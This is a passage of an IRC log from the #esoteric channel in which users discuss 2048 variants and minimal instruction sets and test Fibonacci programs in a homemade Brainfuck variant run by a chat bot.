http://www.csie.ntu.edu.tw/~b01902112/9007199254740992/ < 1395588656 177690 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :why stop there? doubles can express numbers up to 2^1022 (or so) exactly. < 1395588697 128084 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :I don't know of a bigger one < 1395588702 358455 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :the 3d version looks interesting. < 1395588716 875534 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :Well, except the infinite ones < 1395588723 17936 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Deewiant: actually I can prove that 9007199254740992 can't be won. < 1395588737 826350 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :uhm < 1395588740 674511 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I can't < 1395588749 918500 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I can't count to 8 :) < 1395588755 46972 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :http://phenomist.wordpress.com/2048-variants/ < 1395588984 879696 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :int-e: why stop there? there are bignum libraries for JS. < 1395589649 85166 :john_metcalf!~digital_w@228.15.125.91.dyn.plus.net JOIN :#esoteric < 1395589815 53513 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :3D is actually a lot easier than 2D < 1395590010 393870 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric : so its just 2048 with numbers obfuscated? < 1395590013 585387 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :no, actually < 1395590034 444757 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :2048 in hyperbolic space < 1395590075 613512 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Phantom_Hoover, really? < 1395590105 631028 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :i thought it was more random than that but playing it again it's not < 1395590130 878085 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :2048 on Riemannian manifolds < 1395590357 415720 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :2048 on the Stone-Čech compactification of a point topology < 1395590457 181979 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :2048 on a plane < 1395590534 866052 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Stop being a radical Bike < 1395590541 306968 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :.... apparently I got The Scarlet Letter confused with some book about a fever < 1395590553 406954 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Today's SMBC really didn't make sense < 1395590602 557508 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :speaking of things that don't make sense, http://www.beneath-ceaseless-skies.com/stories/sekhmet-hunts-the-dying-gnosis-a-computation/ < 1395590669 608263 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :won 3D in 1 go < 1395590696 848579 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :score 26096 < 1395590818 267758 :HackEgo!~HackEgo@162.248.166.242 JOIN :#esoteric < 1395591165 237426 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Deewiant: I hate you. I'm up to 8192. < 1395591342 889674 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :boily: You might want to digest int-e's comment: "intuitively, 65536 should be easy, but it'll take 30k moves." < 1395591410 436755 :MoALTz!~no@user-31-174-194-235.play-internet.pl JOIN :#esoteric < 1395591649 603322 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :8402 is nice. < 1395591673 893159 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :is it possible to prevent a 512 tile? < 1395591747 558532 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :http://int-e.eu/~bf3/tmp/8402.png ... wait, it says "puppies eaten"?! < 1395591753 734464 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :haha < 1395591778 645778 :password2!~password@197.78.143.98 QUIT :Ping timeout: 252 seconds < 1395591957 182503 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Ah, the autorun mode at https://sztupy.github.io/2048-Hard/ may answer this question. it managed 128+64+32+32+16+16+16+8+8+4+4+4+2+2+2+2 ... impressive. < 1395592718 311751 :password2!~password@197.78.170.4 JOIN :#esoteric < 1395592805 554181 :password2!~password@197.78.170.4 PRIVMSG #esoteric :whats the esolang with the least amount of instructions? < 1395592945 724293 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :password2: https://en.wikipedia.org/wiki/One_instruction_set_computer < 1395592954 231786 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Also iota < 1395592977 944158 :password2!~password@197.78.170.4 PRIVMSG #esoteric :lemme geuss , its an djmpz ? < 1395593127 933775 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Subtract and jump if negative is a common one < 1395593241 517773 :password2!~password@197.78.170.4 PRIVMSG #esoteric :surpringly not as minamilistic as i thought it would be < 1395593326 866537 :ion!ion@heh.fi PRIVMSG #esoteric :CI – Continues Integration https://www.gitlab.com/products/ < 1395593348 802924 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :I made a machine with subtract as the only instruction, but it's cheating because it has some memory-mapped magical registers for extra instructions. < 1395593359 78169 :Slereah_!~jackal@244.168.90.79.rev.sfr.net QUIT :Ping timeout: 240 seconds < 1395593397 959899 :password2!~password@197.78.170.4 PRIVMSG #esoteric :ah < 1395593916 424995 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395594039 684599 :ion!ion@heh.fi PRIVMSG #esoteric :http://www.wallpapersshop.net/wallpaper/moscow-city-night-winter/ (It seems i live in Moscow now.) < 1395594081 595142 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ion: do people attempt to lick you in moscow too? < 1395594121 254909 :ion!ion@heh.fi PRIVMSG #esoteric :There has been a worrying lack of attempts to lick me recently. < 1395594169 534469 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Ping timeout: 240 seconds < 1395594217 113324 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ion: you should bring a sign with something to the effect of "Пожалуйста, пожалуйста, лизать Ion." (disclaimer, caveat emptor and all that sort of thing: that went through Google. I am not responsible for damage incurred.) < 1395594296 319294 :password2!~password@197.78.170.4 PRIVMSG #esoteric :mmm , lets see if i can do Fibonacci in bf^ < 1395594309 487448 :ion!ion@heh.fi PRIVMSG #esoteric :boily: That sounds like a good idea. < 1395595099 15583 :Sorella!~queen@oftn/member/Sorella QUIT :Ping timeout: 240 seconds < 1395595256 467112 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Quit: leaving < 1395595715 650193 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1395596641 444885 :password2!~password@197.78.170.4 QUIT :Ping timeout: 240 seconds < 1395596726 256133 :ion!ion@heh.fi PRIVMSG #esoteric :http://www.theonion.com/articles/thanks-for-being-so-cool-about-everything,35584/?utm_source=butt&utm_medium=butt&utm_campaign=butt < 1395596902 276906 :tromp__!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :b_jonas: an increment register instruction coupled with a subtract and jump if zero instruction is turing complete < 1395596936 39153 :tromp__!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :i mean decrement, not subtract < 1395597018 40701 :boily!~boily@96.127.201.149 QUIT :Quit: CREMENTING CHICKEN < 1395597186 98223 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ion: honestly I find Kerry's statement ("You just don't in the 21st century behave in 19th century fashion by invading another country on completely trumped up pre-text,") much funnier than that whole article. < 1395597204 18512 :ion!ion@heh.fi PRIVMSG #esoteric :hehe < 1395597272 261700 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :tromp__: sure, that kind of thing is fine, I just chose a particularly ugly and bad way to realize this into a machine, and then wrote a single buggy program for it. I should try a cleaner design later. < 1395597290 563199 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :I do mean subtract though, not decrement < 1395597667 515880 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :So you can add, too. < 1395597755 510659 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :yes < 1395597767 167866 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :and copy too, which is useful < 1395598824 486563 :password2!~password@197.78.133.76 JOIN :#esoteric < 1395599604 682747 :password2!~password@197.78.133.76 PRIVMSG #esoteric :Hi < 1395599609 691063 :passwordBOT!~passwordB@197.78.133.76 JOIN :#esoteric < 1395599652 933270 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bfop: < 1395599747 106351 :password2!~password@197.78.133.76 PRIVMSG #esoteric :mmm < 1395599748 208457 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bfop: < 1395599749 20842 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :brainfuck^ opperators are []()<>+-{},. () is like [] except it uses the value the current cell points to , {} is like +- except it dec/inc the value the cell points to < 1395599756 673412 :password2!~password@197.78.133.76 PRIVMSG #esoteric :there we go < 1395599789 191536 :password2!~password@197.78.133.76 PRIVMSG #esoteric :i made modifications :P < 1395599790 82729 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i don't get () < 1395599795 247115 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :is it relative addressing? < 1395599802 804771 :password2!~password@197.78.133.76 PRIVMSG #esoteric :yes < 1395599825 87797 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :and how can be { like +-? that's like a nop < 1395599828 424470 :password2!~password@197.78.133.76 PRIVMSG #esoteric :ie < 1395599834 277279 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bfreset:+bf:++>+++>+++++++++++>+++++++++<<< < 1395599835 431539 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 31 cycles < 1395599849 25863 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bfdump: < 1395599849 650339 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|2| 3 11 9 < 1395599862 788047 :password2!~password@197.78.133.76 PRIVMSG #esoteric :now to add 11 to 9 < 1395599867 212383 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bf:({>}<) < 1395599869 21678 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 56 cycles < 1395599871 143302 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bfdump: < 1395599871 586662 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|2| 3 0 20 < 1395599889 65249 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :ah, that - is meant to be an emdash < 1395599905 948436 :password2!~password@197.78.133.76 PRIVMSG #esoteric :emdash? < 1395599909 688127 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :wait, no < 1395599923 753396 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :what does { do? < 1395599975 590087 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :how does it know when i want to increment and when i want to decrement? < 1395599977 537114 :password2!~password@197.78.133.76 PRIVMSG #esoteric :it subtracts one from the cell is pointing the current cell is pointing to < 1395600005 30646 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i thought it's adding? < 1395600010 560635 :password2!~password@197.78.133.76 PRIVMSG #esoteric :{} is increment and ecrement , but it increments that value the current cell points to < 1395600029 819225 :password2!~password@197.78.133.76 PRIVMSG #esoteric :nope < 1395600052 204188 :password2!~password@197.78.133.76 PRIVMSG #esoteric :i used a loop todo adding < 1395600055 278063 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :ah, so { is -<+>? < 1395600066 916551 :password2!~password@197.78.133.76 PRIVMSG #esoteric :nope < 1395600069 156044 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :like "move one"? < 1395600094 181027 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :then i don't get when it increments and when it doesn't < 1395600101 664554 :password2!~password@197.78.133.76 PRIVMSG #esoteric :{ looks at the current cell and edits the cell this one points to < 1395600108 291721 :password2!~password@197.78.133.76 PRIVMSG #esoteric :lemm show and example < 1395600113 266566 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :ah < 1395600115 180244 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bfreset:++++ < 1395600117 760565 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bfdump < 1395600130 157219 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i thought "points to" meant the directio of the symbol < 1395600130 454593 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bfdump: < 1395600137 397010 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|0| < 1395600161 590768 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bfdump: < 1395600164 511189 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|0| < 1395600173 107172 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bf:++++ < 1395600173 512314 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 4 cycles < 1395600183 731369 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bfdump: < 1395600186 329468 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|4| < 1395600188 564781 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :in that case, i'd swith {} < 1395600204 872116 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bf:}}}} < 1395600206 222604 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bfdump: < 1395600207 218911 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :} looks more "adding" to me < 1395600212 917554 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 4 cycles < 1395600213 114349 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|4| 0 0 0 4 < 1395600254 680415 :Sprocklem!~Sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1395600287 956379 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bf:{{ < 1395600291 333651 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 2 cycles < 1395600311 562642 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bfdump: < 1395600314 75942 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|4| 0 0 0 2 < 1395600324 357519 :password2!~password@197.78.133.76 PRIVMSG #esoteric :understand now? < 1395600371 729595 :password2!~password@197.78.133.76 PRIVMSG #esoteric :in this case the } looks at cell0 , which contain4 and then increments cell4 < 1395600389 919160 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :yeah < 1395600448 102480 :password2!~password@197.78.133.76 PRIVMSG #esoteric :ok < 1395600497 267961 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i still find it confusing that it states "{} is like +-" and later "dec/inc" < 1395600504 542640 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :it should be -+, no? < 1395600673 735982 :password2!~password@197.78.133.76 PRIVMSG #esoteric :oh the order , ye < 1395600674 20636 :password2!~password@197.78.133.76 PRIVMSG #esoteric :s < 1395600701 521778 :password2!~password@197.78.133.76 PRIVMSG #esoteric :will update that < 1395600737 639622 :password2!~password@197.78.133.76 PRIVMSG #esoteric :mmm < 1395600777 620928 :password2!~password@197.78.133.76 PRIVMSG #esoteric :how do people manage to write complex programs in bf < 1395600800 791430 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :password2: Sometimes by hand, and sometimes using other compilers. < 1395600808 556026 :password2!~password@197.78.133.76 PRIVMSG #esoteric :ah < 1395600829 510608 :password2!~password@197.78.133.76 PRIVMSG #esoteric :i tried Fibonacci , but gave up soon < 1395600893 525877 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :isn't fibonacci straight forward? < 1395600906 332557 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :you just have to make (a,b) into (b,a+b) < 1395600912 423921 :password2!~password@197.78.133.76 PRIVMSG #esoteric :if your hardcode it , yes < 1395600919 244897 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :doing n times < 1395600929 140764 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :plus one to memorize a value < 1395600932 315899 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395600945 83956 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :4 cells should be enough to get the nth fibonacci number < 1395600985 828466 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :1. add 1 to cell 3 < 1395600990 701557 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :so you have n 0 1 0 < 1395600996 619278 :password2!~password@197.78.133.76 PRIVMSG #esoteric :and if you want to have the seqeunce in ram < 1395601001 562754 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :2. move b to cell 4 < 1395601007 669286 :password2!~password@197.78.133.76 PRIVMSG #esoteric :ie 1 1 2 3 5 8 13 ... n < 1395601011 374131 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :you hava n 0 0 b < 1395601021 926601 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :add b to cell 2 and 3 < 1395601039 736602 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :oh wait < 1395601049 977469 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :move a to cell 3 first < 1395601059 213423 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :then add b to cell 2 and 3 < 1395601063 532980 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :then decrement cell 1 < 1395601067 542495 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :you are done < 1395601073 282926 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :ah < 1395601083 67522 :password2!~password@197.78.133.76 PRIVMSG #esoteric :-_- < 1395601111 836511 :password2!~password@197.78.133.76 PRIVMSG #esoteric :have you written fibb in bf? < 1395601123 434297 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395601123 786232 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395601129 933747 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :just getting the nth fibb should be pretty easy < 1395601169 921150 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :how does your bot handly input, now? < 1395601170 456674 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395601205 599477 :password2!~password@197.78.133.76 PRIVMSG #esoteric :not at all < 1395601214 759916 :password2!~password@197.78.133.76 PRIVMSG #esoteric :it does have output though < 1395601228 483438 :password2!~password@197.78.133.76 PRIVMSG #esoteric :input is unimplemented < 1395601246 608014 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bf:++++>>+<<[>>[->+<]<[->+<]>>[-<+<+>>]] < 1395601250 390210 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 32 cycles < 1395601256 381258 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfdump: < 1395601259 696766 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :8 1 1 |0| 2 < 1395601267 664452 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :what? < 1395601278 972349 :password2!~password@197.78.133.76 PRIVMSG #esoteric :you didn't reset < 1395601283 989933 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfreset: < 1395601289 741194 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bfreset:+bf:++++>>+<<[>>[->+<]<[->+<]>>[-<+<+>>]] < 1395601290 593634 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 32 cycles < 1395601295 614058 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfdump: < 1395601299 160355 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :4 1 1 |0| < 1395601306 293215 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :still not what i wanted < 1395601328 52146 :password2!~password@197.78.133.76 PRIVMSG #esoteric :what did you want? < 1395601329 430556 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :ah < 1395601341 322908 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfreset:+bf:++++>>+<<[>>[->+<]<[->+<]>>[-<+<+>>]<<<] < 1395601358 496079 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 524288 cycles < 1395601361 172314 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfdump: < 1395601366 194148 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :doesn't sound right < 1395601367 836702 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :4 59 |93| 124 < 1395601382 342196 :password2!~password@197.78.133.76 PRIVMSG #esoteric :it stopped at the cycle limit < 1395601414 749496 :password2!~password@197.78.133.76 PRIVMSG #esoteric :you might have had an inf loop < 1395601422 423713 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfreset:+bf:++++>>+<<>>[->+<]<[->+<]>>[-<+<+>>]<<< < 1395601430 697626 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 33 cycles < 1395601434 166948 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfdump: < 1395601435 769606 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|4| 1 1 < 1395601438 401234 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Ping timeout: 240 seconds < 1395601453 21175 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfreset:+bf:++++>>+<<[>>[->+<]<[->+<]>>[-<+<+>>]<<<-] < 1395601453 678165 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 183 cycles < 1395601458 499871 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfdump: < 1395601458 883969 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|0| 3 5 < 1395601463 69020 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :ha < 1395601474 790122 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfreset:+bf:++++++>>+<<[>>[->+<]<[->+<]>>[-<+<+>>]<<<-] < 1395601475 262952 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 450 cycles < 1395601477 754399 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfdump: < 1395601478 538204 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|0| 8 13 < 1395601481 814307 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :there you are < 1395601514 98780 :password2!~password@197.78.133.76 PRIVMSG #esoteric :wow < 1395601562 412 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :just put n in the first cell and you will get the nth fibbonacci number at the third cell < 1395601577 690398 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :you may move it to the first after the loop < 1395601625 43946 :password2!~password@197.78.133.76 PRIVMSG #esoteric :not really what i was trying to do < 1395601637 147525 :password2!~password@197.78.133.76 PRIVMSG #esoteric :but geus that works < 1395601656 708991 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i will try your thing < 1395601707 422703 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i do think the main problem with your approach is to stop < 1395601777 121895 :password2!~password@197.78.133.76 PRIVMSG #esoteric :i think with the addons it might be a little easier < 1395602006 208338 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfreset:+bf:+>+>+++[[->>>+<<<]<<[->>+>+<<<]>>>[-<<<+>>>]<<[->+>+<<]>>[-<<+>>]>[-<+>]<-] < 1395602021 419889 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 11826 cycles < 1395602029 977632 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfdump: < 1395602032 690457 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :1 1 2 3 5 8 13 21 |0| 0 253 < 1395602039 490663 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :there you go < 1395602040 738341 :password2!~password@197.78.133.76 PRIVMSG #esoteric :bitch! < 1395602073 992460 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i cheated a bit starting with 1 1 (n-2), but well < 1395602282 887422 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :need an explanation? < 1395602335 213751 :password2!~password@197.78.133.76 PRIVMSG #esoteric :nah < 1395602367 103682 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :you just have to start thinking in steps that are possible in bf < 1395602386 560667 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :especially stuff like saving a value you are about to consume < 1395602413 580518 :Slereah_!~jackal@244.168.90.79.rev.sfr.net JOIN :#esoteric < 1395602430 678254 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Man I'm trying to reverse engineer the old Monkey Island sound files < 1395602436 19538 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :It is not easy < 1395602552 513891 :password2!~password@197.78.133.76 PRIVMSG #esoteric :mmm < 1395602585 730711 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :For some reason, they go take a value in some part of the memory < 1395602598 1728 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :And then divide it by a value from another part of the memory < 1395602614 21541 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Before sending it to the PC speaker < 1395602692 992996 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bfreset:+bf:++++++>+++>+>+<<<->({++}+}---)(++{--)+(++{--}) < 1395602693 842884 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 33 cycles < 1395602708 141368 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bfdump: < 1395602709 243072 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :5 |4| 1 0 0 1 1 < 1395602741 704957 :passwordBOT!~passwordB@197.78.133.76 QUIT :Remote host closed the connection < 1395602788 713199 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :passwordBOT: i am pretty sure you can save a lot of instructions with your modifications if you deal with your n right, but then again: you have to have a n-1 and n-2 to fully make use of it < 1395602814 626914 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :damn < 1395602819 101209 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :password2: i meant you < 1395602821 91249 :password2!~password@197.78.133.76 PRIVMSG #esoteric :ok < 1395602875 465212 :password2!~password@197.78.133.76 PRIVMSG #esoteric :urg , my lagg is horrendus < 1395602877 902023 :password2!~password@197.78.133.76 PRIVMSG #esoteric :15s < 1395604303 758335 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1395604969 853232 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395605006 672688 :password2!~password@197.78.133.76 PRIVMSG #esoteric :finally i fured out fibb < 1395605046 994089 :myname!~myname@84.200.43.57 PRIVMSG #esoteric ::D < 1395605047 880721 :password2!~password@197.78.133.76 PRIVMSG #esoteric :took me long enough < 1395605055 809065 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :indeed < 1395605091 437838 :passwordBOT!~passwordB@197.78.133.76 JOIN :#esoteric < 1395605103 751692 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bfreset:+bf:+++++++++++>+++>+>+<<<[->({+++}+}----)+++({---}+++)+({---}+++)-----({+++}+}----) +++({---}+++)+({--}++)--<] < 1395605117 660872 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bfdump: < 1395605121 925185 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|0| 14 1 1 2 3 5 8 13 21 34 55 89 144 233 < 1395605157 157478 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :what do the {} and () do? < 1395605179 612003 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bfop: < 1395605179 856946 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :that looks strange < 1395605180 81420 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :brainfuck^ opperators are []()<>+-{},. () is like [] except it uses the value the current cell points to , {} is like -+ except it dec/inc the value the cell points to < 1395605181 427198 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :|| is the current pointer? nice. < 1395605182 431579 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :() is [] with relative addresses < 1395605196 491799 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :{} are -+ with relative addresses < 1395605218 39961 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :interesting < 1395605249 780728 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :kind of reminds me about the zero page (or what was it called) < 1395605281 962255 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :um < 1395605289 792862 :password2!~password@197.78.133.76 PRIVMSG #esoteric :its kinda fun playing around with the relative adressing < 1395605295 6970 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :where's the wiki page for that language? < 1395605323 219623 :password2!~password@197.78.133.76 PRIVMSG #esoteric :(+) , will find the first empty cell < 1395605347 527286 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :that's 